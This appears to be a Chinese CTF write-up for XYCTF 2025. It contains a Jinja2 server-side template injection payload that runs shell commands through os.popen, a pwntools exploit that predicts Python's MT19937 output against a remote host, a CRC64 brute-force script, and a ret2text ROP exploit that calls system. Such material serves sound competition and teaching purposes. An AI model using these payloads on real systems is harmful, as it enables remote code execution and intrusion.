{%print(g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('setattr')(g|attr('pop')|attr('__globals__')|attr('get')('sys')|attr('modules')|attr('get')('werkzeug')|attr('serving')|attr('WSGIRequestHandler'),'server_version',g|attr('pop')|attr('__globals__')|attr('get')('__builtins__')|attr('get')('__import__')('os')|attr('popen')('"""+cmd+"""')|attr('read')()))%}

其实就是这个setattr(WSGIRequestHandler, 'server_version', command_result)函数,'server_version'处放命令的结果即可,脚本还是用上题的即可(只用该一丢丢,改个正则就行)

可以看到,ls /被执行,回显在server头里

用同样的方法把根目录上的文件下载下来,是个png图片

图片拖到010里看,发现IDAT块大小都是200Ch,有Pixeljihad隐写特征,这个隐写是可以没有密码的,用puzz梭一下即可

flag{M@g1c1@ans_M@stering_M@g1c}

Crypto

Division(Mia)

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import random 
print('----Welcome to my division calc----')
print('''
menu:
[1] Division calc
[2] Get flag
''')
while True:
choose = input(': >>> ')
if choose == '1':
try:
denominator = int(input('input the denominator: >>> '))
except:
print('INPUT NUMBERS')
continue
nominator = random.getrandbits(32)
if denominator == '0':
print('NO YOU DONT')
continue
else:
print(f'{nominator}//{denominator} = {nominator//denominator}')
elif choose == '2':
try:
ans = input('input the answer: >>> ')
rand1 = random.getrandbits(11000)
rand2 = random.getrandbits(10000)
correct_ans = rand1 // rand2
if correct_ans == int(ans):
print('WOW')
with open('flag', 'r') as f:
print(f'Here is your flag: {f.read()}')
else:
print(f'NOPE, the correct answer is {correct_ans}')
except:
print('INPUT NUMBERS')
else:
print('Invalid choice')

有两个功能:

[1]:输入除数,然后程序会生成一个随机数被除数,然后返回分母整除分子的结果

[2]:输入一个ans,如果和程序随机生成的两个大随机数的整除结果相同,即可获得flag

  • Python的random模块使用确定性算法MT19937,生成的所有随机数均可通过足够输出重构内部状态。
  • 选项1生成的32位随机数暴露了生成器的输出。收集约624个32位随机数可完全重建状态,预测后续所有随机数(包括选项2中的大数)。

接下来压力DeepSeek帮忙写一个利用的脚本,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from randcrack import RandCrack

rc = RandCrack()

p = remote('39.106.69.240',28740)

# 阶段1:精准收集624个32位随机数(确保分母为1)
print("[*] Collecting 624 raw 32-bit random numbers...")
for _ in range(624):
# 严格同步交互流程
p.sendlineafter(b": >>> ", b"1") # 选择选项1
p.sendlineafter(b"input the denominator: >>> ", b"1") # 分母固定为1

# 提取完整的32位随机数(nominator值)
p.recvuntil(b" = ")
raw_random = int(p.recvline().strip()) # 直接获取nominator
rc.submit(raw_random) # 提交原始32位数值

print(f"Collected {_+1}/624: {hex(raw_random)}")

# 阶段2:预测后续随机数
print("[*] Predicting rand1 (11000 bits) and rand2 (10000 bits)...")
rand1 = rc.predict_getrandbits(11000)
rand2 = rc.predict_getrandbits(10000)
correct_ans = rand1 // rand2

# 阶段3:提交答案
p.sendlineafter(b": >>> ", b"2")
p.sendlineafter(b"input the answer: >>> ", str(correct_ans).encode())

# 捕获flag(设置超时防止卡死)
try:
flag = p.recvuntil(b"}", timeout=5).decode() # 假设flag格式为CTF{...}
print(f"\n[+] Flag captured: {flag}")
except:
print("[-] Timeout! Check program output manually:")
print(p.clean().decode())

p.close()

# Collected 624/624: 0xd906d78e
# [*] Predicting rand1 (11000 bits) and rand2 (10000 bits)...

# [+] Flag captured: WOW
# Here is your flag: XYCTF{8e7e6995-7ec7-44f9-b1d5-cd4285baebba}
# [*] Closed connection to 39.106.69.240 port 28740

XYCTF{8e7e6995-7ec7-44f9-b1d5-cd4285baebba}

Reverse

WARMUP (Lin)

vbs编辑打开是一大堆的chr函数,使用python解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
MsgBox "Dear CTFER. Have fun in XYCTF 2025!"
flag = InputBox("Enter the FLAG:", "XYCTF")
wefbuwiue = "90df4407ee093d309098d85a42be57a2979f1e51463a31e8d15e2fac4e84ea0df622a55c4ddfb535ef3e51e8b2528b826d5347e165912e99118333151273cc3fa8b2b3b413cf2bdb1e8c9c52865efc095a8dd89b3b3cfbb200bbadbf4a6cd4" ' ?????C4??????????????????
qwfe = "rc4key"

' ??????RC4??????
Function RunRC(sMessage, strKey)
Dim kLen, i, j, temp, pos, outHex
Dim s(255), k(255)

' ????????
kLen = Len(strKey)
For i = 0 To 255
s(i) = i
k(i) = Asc(Mid(strKey, (i Mod kLen) + 1, 1)) ' ??????ASCII???
Next

' KSA??????
j = 0
For i = 0 To 255
j = (j + s(i) + k(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp
Next

' PRGA??????
i = 0 : j = 0 : outHex = ""
For pos = 1 To Len(sMessage)
i = (i + 1) Mod 256
j = (j + s(i)) Mod 256
temp = s(i)
s(i) = s(j)
s(j) = temp

' ??????????????
Dim plainChar, cipherByte
plainChar = Asc(Mid(sMessage, pos, 1)) ' ?????SCII???
cipherByte = s((s(i) + s(j)) Mod 256) Xor plainChar
outHex = outHex & Right("0" & Hex(cipherByte), 2)
outHex = outHex & Right("0" & Hex(cipherByte), 2)
Next
Next

RunRC = outHex
End Function

' ???????
If LCase(RunRC(flag, qwfe)) = LCase(wefbuwiue) Then
MsgBox "Congratulations! Correct FLAG!"
Else
MsgBox "Wrong flag."
End If

输入的内容通过InputBox传入flag里,通过RunRC加密与wefbuwine比较

显然是一个经典的RC4加密,密文为wefbuwiue,密钥为rc4key,由于RC4加密对称,可直接解密出

最后flag{}内部使用md5加密即可

Dragon (Lin)

显然源文件是bitcode文件,使用llvm-dis反编译成ll文件

1
llvm-dis Dragon.bc -o Dragon.ll

直接打开ll文件即可

我们拿到的代码中,核心的加密逻辑如下:

1
2
3
4
5
llvm


复制编辑
@__const.main.enc = private unnamed_addr constant [12 x i64] [i64 -2565957437423125689, i64 224890624719110086, i64 1357324823849588894, i64 -8941695979231947288, i64 -253413330424273460, i64 -7817463785137710741, i64 -5620500441869335673, i64 984060876288820705, i64 -6993555743080142153, i64 -7892488171899690683, i64 7190415315123037707, i64 -7218240302740981077], align 16

可以观察到 enc 是一个 12 组 64 位整数(signed i64 类型)。这些值存储的是某种加密后得到的数据。

同时,在 calculate_crc64_direct 这个函数中,我们看到类似 CRC 计算的代码:

1
2
3
4
5
llvm


复制编辑
%crc = xor i64 %crc, -1

这表明在计算时,使用了 CRC64,并且结果在计算前后都 异或(XOR)-1

这里逆向出crc64算法, 枚举所有 2 字节组合,计算 CRC64 ,为了加快爆破速度,这里限定了字符集为可打印的字符

爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import itertools

def calculate_crc64_direct(data: bytes) -> int:
# 初始 CRC = -1 (0xFFFFFFFFFFFFFFFF)
crc = 0xFFFFFFFFFFFFFFFF
# 对于 data 中的每个字节
for b in data:
# 将字节零扩展为 64 位,并左移 56 位
val = b << 56
crc ^= val
# 内部循环 8 次
for _ in range(8):
if crc & 0x8000000000000000:
# 如果最高位为 1,则左移 1 位后 XOR 多项式
crc = ((crc << 1) & 0xFFFFFFFFFFFFFFFF) ^ 0x42F0E1EBA9EA3693
else:
crc = (crc << 1) & 0xFFFFFFFFFFFFFFFF
# 最后再 XOR -1(即全 1)
return crc ^ 0xFFFFFFFFFFFFFFFF

enc = [
(-2565957437423125689) & 0xFFFFFFFFFFFFFFFF,
(224890624719110086) & 0xFFFFFFFFFFFFFFFF,
(1357324823849588894) & 0xFFFFFFFFFFFFFFFF,
(-8941695979231947288) & 0xFFFFFFFFFFFFFFFF,
(-253413330424273460) & 0xFFFFFFFFFFFFFFFF,
(-7817463785137710741) & 0xFFFFFFFFFFFFFFFF,
(-5620500441869335673) & 0xFFFFFFFFFFFFFFFF,
(984060876288820705) & 0xFFFFFFFFFFFFFFFF,
(-6993555743080142153) & 0xFFFFFFFFFFFFFFFF,
(-7892488171899690683) & 0xFFFFFFFFFFFFFFFF,
(7190415315123037707) & 0xFFFFFFFFFFFFFFFF,
(-7218240302740981077) & 0xFFFFFFFFFFFFFFFF,
]

flag = bytearray(24)

for idx in range(12):
target = enc[idx]
for b1 in range(0x20, 0x7F): # 可打印ASCII
for b2 in range(0x20, 0x7F):
data = bytes([b1, b2])
if calculate_crc64_direct(data) == target:
flag[idx*2] = b1
flag[idx*2+1] = b2
print(f"Found part {idx}: {data.decode()}")
break
else:
continue
break

print("Final Flag:", flag.decode())

Pwn

明日方舟寻访模拟器(Mia)

实在做不出来题了,看看pwn有没有简单的栈题吧(我也就会这些了….)

checksec查一下,64位没开PIE和canary,运行一下是抽卡

可以看到是有溢出和system的,但是没有/bin/sh,那就要想办法写/bin/sh了

好久没做pwn了,不太会了,这里注意到有个自定义数量,我们可以通过控制这个值,从而控制随着抽卡增加的sum_count,将这里设置为sh的十六进制即可ret2text

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

# p = process("./arknights")
p = remote('47.94.103.20', 26684)

pop_rdi = 0x00000000004018e5
ret = 0x000000000040101a
system = 0x4018FC
sum_count =0x405BCC

def put(count):
p.recv()
p.sendline(b'3')
p.recv()
p.sendline(count.encode())
p.sendline(b'a')

payload = cyclic(0x40+8) + p64(pop_rdi) + p64(sum_count) + p64(system)

p.sendline(b'a')

put('10000')
put('10000')
put('6379')

p.recv()
p.sendline(b'4')
p.recv()
p.sendline(b'1')
p.sendline(payload)

p.interactive()

最后出现 ls: write error: Bad file descriptor的错误,这是因为程序在最后关闭了标准输出,如下:

只需要把流重定向到stderr就行:ls 1>&2

XYCTF{6edda96d-aacb-434b-8a42-60f78e5d8e56}